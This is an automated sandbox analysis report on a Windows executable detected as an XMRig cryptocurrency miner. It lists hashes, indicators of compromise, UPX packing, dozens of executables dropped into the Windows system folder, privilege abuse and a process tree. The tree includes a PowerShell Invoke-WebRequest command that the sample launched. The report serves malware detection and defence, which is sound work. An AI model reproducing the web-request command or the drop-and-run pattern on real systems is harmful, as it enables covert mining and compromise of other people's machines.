xmrig | 2e6fc7bceee3722ffdb848396b767a32e4ad0da17d6056277dd2ac67f61ba8fe

Analysis

max time kernel
149s
max time network
150s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
16/05/2024, 22:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
Size

1.6MB
MD5

4d664d39adb4cf740c77227121e79210
SHA1

9d61b2464ee06328a766cffd41921577c76ce865
SHA256

2e6fc7bceee3722ffdb848396b767a32e4ad0da17d6056277dd2ac67f61ba8fe
SHA512

7981876df2395b5202b4ed5de67bd66823baa4e48fc6c1430ff885a2cd7001e93072d308a3276876ac2df2578dad99d39b406d978d31b2acadc07fc8145d1abe
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkyW1HU/ek5Q1szp5NnNvZWNChZ7K6WefmedkVoMms:Lz071uv4BPMkyW10/w16BvZuaXa

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 21 IoCs

miner

resource	yara_rule
behavioral1/memory/1756-7-0x000000013FE70000-0x0000000140262000-memory.dmp	xmrig
behavioral1/memory/2528-160-0x000000013F110000-0x000000013F502000-memory.dmp	xmrig
behavioral1/memory/2756-153-0x000000013F670000-0x000000013FA62000-memory.dmp	xmrig
behavioral1/memory/2616-151-0x000000013FC10000-0x0000000140002000-memory.dmp	xmrig
behavioral1/memory/2632-149-0x000000013F9C0000-0x000000013FDB2000-memory.dmp	xmrig
behavioral1/memory/2656-147-0x000000013F810000-0x000000013FC02000-memory.dmp	xmrig
behavioral1/memory/1508-169-0x000000013FD90000-0x0000000140182000-memory.dmp	xmrig
behavioral1/memory/2736-167-0x000000013F390000-0x000000013F782000-memory.dmp	xmrig
behavioral1/memory/2572-165-0x000000013F650000-0x000000013FA42000-memory.dmp	xmrig
behavioral1/memory/2556-162-0x000000013FCE0000-0x00000001400D2000-memory.dmp	xmrig
behavioral1/memory/2556-5480-0x000000013FCE0000-0x00000001400D2000-memory.dmp	xmrig
behavioral1/memory/2656-5502-0x000000013F810000-0x000000013FC02000-memory.dmp	xmrig
behavioral1/memory/2572-5514-0x000000013F650000-0x000000013FA42000-memory.dmp	xmrig
behavioral1/memory/2528-5513-0x000000013F110000-0x000000013F502000-memory.dmp	xmrig
behavioral1/memory/1756-5498-0x000000013FE70000-0x0000000140262000-memory.dmp	xmrig
behavioral1/memory/2616-5493-0x000000013FC10000-0x0000000140002000-memory.dmp	xmrig
behavioral1/memory/1508-5510-0x000000013FD90000-0x0000000140182000-memory.dmp	xmrig
behavioral1/memory/2736-6442-0x000000013F390000-0x000000013F782000-memory.dmp	xmrig
behavioral1/memory/2632-6455-0x000000013F9C0000-0x000000013FDB2000-memory.dmp	xmrig
behavioral1/memory/2756-6463-0x000000013F670000-0x000000013FA62000-memory.dmp	xmrig
behavioral1/memory/2728-6475-0x000000013F6F0000-0x000000013FAE2000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2184	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
1756	lrzHwHn.exe
2728	xwTCitN.exe
2656	DMcWIGa.exe
2632	zckHPgl.exe
2616	trSBuLh.exe
2756	bCFkWCn.exe
2528	rrTPxMb.exe
2556	LdRPGjP.exe
2572	DGQfUWW.exe
2736	JJZOEWY.exe
1508	EZjkoiU.exe
2520	RfTNZbg.exe
2568	bPgQmTg.exe
2940	fvJlADZ.exe
1296	XtrYySj.exe
2824	eXdhwuG.exe
2932	XeTTaiR.exe
2220	mSRLlyo.exe
1748	wafmyMM.exe
2408	xlIDvCP.exe
1932	BknCOOY.exe
1812	aUPophK.exe
568	UcPahIy.exe
536	aGkInAm.exe
1616	DwKHGqg.exe
1324	sVkCJQj.exe
2316	QstOjya.exe
2256	JgWuLae.exe
1776	XRUstcs.exe
2384	syEkNhh.exe
1096	xnJwkMz.exe
852	dfVrwEz.exe
2432	ufrFAGv.exe
2156	sYefFrb.exe
1788	Eqklwvi.exe
1960	dPlejKH.exe
1356	SNljJJr.exe
788	orhUvpD.exe
1348	oQDkhTi.exe
2012	sgdooLD.exe
920	jCfuBBt.exe
2032	bfBVWrC.exe
2148	zEIjOGV.exe
2904	PnlMIVv.exe
1804	foSizVq.exe
2912	UEHtQIz.exe
2448	TOOcTtH.exe
2008	jofntJF.exe
1724	XatjnOH.exe
2708	kksIFUG.exe
2536	oGzFZTQ.exe
2936	dmaUbIo.exe
2804	RxvyXWF.exe
2564	lgvZRnQ.exe
2960	cDdwKoN.exe
2948	KBMzhKl.exe
1664	OSNAQbh.exe
476	mWNslmN.exe
2372	diqAOCm.exe
2872	aaMEaSR.exe
1524	CcgUKbV.exe
2168	xSLwPdx.exe
1820	DjZLMnp.exe
1536	qYmbvMA.exe

Loads dropped DLL 64 IoCs

pid	Process
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe

UPX packed file 56 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0010000000012272-5.dat	upx
behavioral1/memory/1264-6-0x000000013F760000-0x000000013FB52000-memory.dmp	upx
behavioral1/memory/1756-7-0x000000013FE70000-0x0000000140262000-memory.dmp	upx
behavioral1/files/0x000f000000003683-23.dat	upx
behavioral1/files/0x00350000000165d4-22.dat	upx
behavioral1/files/0x0007000000016d05-29.dat	upx
behavioral1/files/0x000600000001720f-47.dat	upx
behavioral1/files/0x0006000000017568-65.dat	upx
behavioral1/files/0x0007000000016d1a-38.dat	upx
behavioral1/files/0x00060000000175e8-83.dat	upx
behavioral1/files/0x0005000000018701-89.dat	upx
behavioral1/files/0x00050000000186ff-87.dat	upx
behavioral1/files/0x000500000001870d-97.dat	upx
behavioral1/files/0x0005000000018784-112.dat	upx
behavioral1/files/0x00060000000190d6-142.dat	upx
behavioral1/memory/2528-160-0x000000013F110000-0x000000013F502000-memory.dmp	upx
behavioral1/files/0x00050000000193d2-178.dat	upx
behavioral1/memory/2756-153-0x000000013F670000-0x000000013FA62000-memory.dmp	upx
behavioral1/files/0x00050000000193ee-182.dat	upx
behavioral1/memory/2728-174-0x000000013F6F0000-0x000000013FAE2000-memory.dmp	upx
behavioral1/files/0x00050000000193c5-171.dat	upx
behavioral1/memory/2616-151-0x000000013FC10000-0x0000000140002000-memory.dmp	upx
behavioral1/memory/2632-149-0x000000013F9C0000-0x000000013FDB2000-memory.dmp	upx
behavioral1/memory/2656-147-0x000000013F810000-0x000000013FC02000-memory.dmp	upx
behavioral1/files/0x0005000000019296-146.dat	upx
behavioral1/files/0x000500000001941b-187.dat	upx
behavioral1/files/0x0006000000018bda-137.dat	upx
behavioral1/files/0x0006000000018b73-127.dat	upx
behavioral1/memory/1508-169-0x000000013FD90000-0x0000000140182000-memory.dmp	upx
behavioral1/memory/2736-167-0x000000013F390000-0x000000013F782000-memory.dmp	upx
behavioral1/memory/2572-165-0x000000013F650000-0x000000013FA42000-memory.dmp	upx
behavioral1/memory/2556-162-0x000000013FCE0000-0x00000001400D2000-memory.dmp	upx
behavioral1/files/0x0005000000019349-159.dat	upx
behavioral1/files/0x0006000000018bc6-131.dat	upx
behavioral1/files/0x000500000001878b-118.dat	upx
behavioral1/files/0x00050000000187a2-122.dat	upx
behavioral1/files/0x000500000001873a-108.dat	upx
behavioral1/files/0x0005000000018711-102.dat	upx
behavioral1/files/0x00060000000173b4-74.dat	upx
behavioral1/files/0x00070000000171ba-64.dat	upx
behavioral1/files/0x00060000000173d6-59.dat	upx
behavioral1/files/0x00060000000175f4-78.dat	upx
behavioral1/files/0x0008000000016cde-28.dat	upx
behavioral1/files/0x00060000000173d3-57.dat	upx
behavioral1/files/0x0008000000016d2b-42.dat	upx
behavioral1/memory/2556-5480-0x000000013FCE0000-0x00000001400D2000-memory.dmp	upx
behavioral1/memory/2656-5502-0x000000013F810000-0x000000013FC02000-memory.dmp	upx
behavioral1/memory/2572-5514-0x000000013F650000-0x000000013FA42000-memory.dmp	upx
behavioral1/memory/2528-5513-0x000000013F110000-0x000000013F502000-memory.dmp	upx
behavioral1/memory/1756-5498-0x000000013FE70000-0x0000000140262000-memory.dmp	upx
behavioral1/memory/2616-5493-0x000000013FC10000-0x0000000140002000-memory.dmp	upx
behavioral1/memory/1508-5510-0x000000013FD90000-0x0000000140182000-memory.dmp	upx
behavioral1/memory/2736-6442-0x000000013F390000-0x000000013F782000-memory.dmp	upx
behavioral1/memory/2632-6455-0x000000013F9C0000-0x000000013FDB2000-memory.dmp	upx
behavioral1/memory/2756-6463-0x000000013F670000-0x000000013FA62000-memory.dmp	upx
behavioral1/memory/2728-6475-0x000000013F6F0000-0x000000013FAE2000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\EMOefLc.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\GfpOkjh.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\pLZiOkU.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\SFEVAoW.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\dbjKIqy.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\tcMlCGP.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\gPOzyGy.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\NfhaPdR.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\bskNzxb.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\JXcOYvB.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\wPHZWPK.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\OsCmXAi.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\NkmGjej.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\tQqaMCT.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\XmQFdtH.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\WprASXF.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\cEbkZUX.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\fjjhnXZ.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\qRyXssp.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\kksIFUG.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\gHvzdnj.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\KLqAlEy.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\LkesSrE.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\luqDfId.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\gwGMpSl.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\BIXmPSp.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\yTboHBR.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\QhGwCOp.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\TYpHTvB.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\mqnbwIp.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\FqPtVrt.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\nxgUPcm.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\OPctuVX.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\ssaxhWW.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\EDimAce.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\EPXXamx.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\pyPfoYX.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\MxahJXK.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\arrqjDx.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\kfWYWLo.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\fjLmAio.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\GfcVHwe.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\NzqsnCU.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\MtIILuW.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\XgzQgDJ.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\SpbMgMB.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\mhZrkzm.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\qBMguCu.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\yzHvsvE.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\QisvcSr.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\xmRdLLy.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\cunDwoM.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\lKLYcSn.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\wuWRxZL.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\DUtmTNU.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\JyCzfdf.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\yDuwbIR.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\KJQgaGK.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\lbGpuBA.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\ZKeyDJq.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\hdCVrdT.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\uFIFJdD.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\ulOMypn.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
File created	C:\Windows\System\pWuOOAc.exe	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2184	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
Token: SeDebugPrivilege	2184	powershell.exe
Token: SeLockMemoryPrivilege	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1264 wrote to memory of 2184	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	29
PID 1264 wrote to memory of 2184	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	29
PID 1264 wrote to memory of 2184	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	29
PID 1264 wrote to memory of 1756	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	30
PID 1264 wrote to memory of 1756	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	30
PID 1264 wrote to memory of 1756	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	30
PID 1264 wrote to memory of 2728	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	31
PID 1264 wrote to memory of 2728	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	31
PID 1264 wrote to memory of 2728	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	31
PID 1264 wrote to memory of 2656	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	32
PID 1264 wrote to memory of 2656	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	32
PID 1264 wrote to memory of 2656	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	32
PID 1264 wrote to memory of 2632	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	33
PID 1264 wrote to memory of 2632	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	33
PID 1264 wrote to memory of 2632	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	33
PID 1264 wrote to memory of 2616	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	34
PID 1264 wrote to memory of 2616	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	34
PID 1264 wrote to memory of 2616	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	34
PID 1264 wrote to memory of 2756	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	35
PID 1264 wrote to memory of 2756	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	35
PID 1264 wrote to memory of 2756	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	35
PID 1264 wrote to memory of 2528	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	36
PID 1264 wrote to memory of 2528	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	36
PID 1264 wrote to memory of 2528	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	36
PID 1264 wrote to memory of 2736	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	37
PID 1264 wrote to memory of 2736	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	37
PID 1264 wrote to memory of 2736	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	37
PID 1264 wrote to memory of 2556	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	38
PID 1264 wrote to memory of 2556	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	38
PID 1264 wrote to memory of 2556	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	38
PID 1264 wrote to memory of 2520	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	39
PID 1264 wrote to memory of 2520	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	39
PID 1264 wrote to memory of 2520	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	39
PID 1264 wrote to memory of 2572	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	40
PID 1264 wrote to memory of 2572	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	40
PID 1264 wrote to memory of 2572	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	40
PID 1264 wrote to memory of 2940	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	41
PID 1264 wrote to memory of 2940	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	41
PID 1264 wrote to memory of 2940	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	41
PID 1264 wrote to memory of 1508	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	42
PID 1264 wrote to memory of 1508	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	42
PID 1264 wrote to memory of 1508	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	42
PID 1264 wrote to memory of 1296	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	43
PID 1264 wrote to memory of 1296	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	43
PID 1264 wrote to memory of 1296	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	43
PID 1264 wrote to memory of 2568	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	44
PID 1264 wrote to memory of 2568	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	44
PID 1264 wrote to memory of 2568	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	44
PID 1264 wrote to memory of 2824	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	45
PID 1264 wrote to memory of 2824	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	45
PID 1264 wrote to memory of 2824	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	45
PID 1264 wrote to memory of 2932	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	46
PID 1264 wrote to memory of 2932	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	46
PID 1264 wrote to memory of 2932	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	46
PID 1264 wrote to memory of 2220	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	47
PID 1264 wrote to memory of 2220	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	47
PID 1264 wrote to memory of 2220	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	47
PID 1264 wrote to memory of 1748	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	48
PID 1264 wrote to memory of 1748	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	48
PID 1264 wrote to memory of 1748	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	48
PID 1264 wrote to memory of 2408	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	49
PID 1264 wrote to memory of 2408	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	49
PID 1264 wrote to memory of 2408	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	49
PID 1264 wrote to memory of 1932	1264	4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\4d664d39adb4cf740c77227121e79210_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2184
- C:\Windows\System\lrzHwHn.exe
  C:\Windows\System\lrzHwHn.exe
  2⤵
  - Executes dropped EXE
  PID:1756
- C:\Windows\System\xwTCitN.exe
  C:\Windows\System\xwTCitN.exe
  2⤵
  - Executes dropped EXE
  PID:2728
- C:\Windows\System\DMcWIGa.exe
  C:\Windows\System\DMcWIGa.exe
  2⤵
  - Executes dropped EXE
  PID:2656
- C:\Windows\System\zckHPgl.exe
  C:\Windows\System\zckHPgl.exe
  2⤵
  - Executes dropped EXE
  PID:2632
- C:\Windows\System\trSBuLh.exe
  C:\Windows\System\trSBuLh.exe
  2⤵
  - Executes dropped EXE
  PID:2616
- C:\Windows\System\bCFkWCn.exe
  C:\Windows\System\bCFkWCn.exe
  2⤵
  - Executes dropped EXE
  PID:2756
- C:\Windows\System\rrTPxMb.exe
  C:\Windows\System\rrTPxMb.exe
  2⤵
  - Executes dropped EXE
  PID:2528
- C:\Windows\System\JJZOEWY.exe
  C:\Windows\System\JJZOEWY.exe
  2⤵
  - Executes dropped EXE
  PID:2736
- C:\Windows\System\LdRPGjP.exe
  C:\Windows\System\LdRPGjP.exe
  2⤵
  - Executes dropped EXE
  PID:2556
- C:\Windows\System\RfTNZbg.exe
  C:\Windows\System\RfTNZbg.exe
  2⤵
  - Executes dropped EXE
  PID:2520
- C:\Windows\System\DGQfUWW.exe
  C:\Windows\System\DGQfUWW.exe
  2⤵
  - Executes dropped EXE
  PID:2572
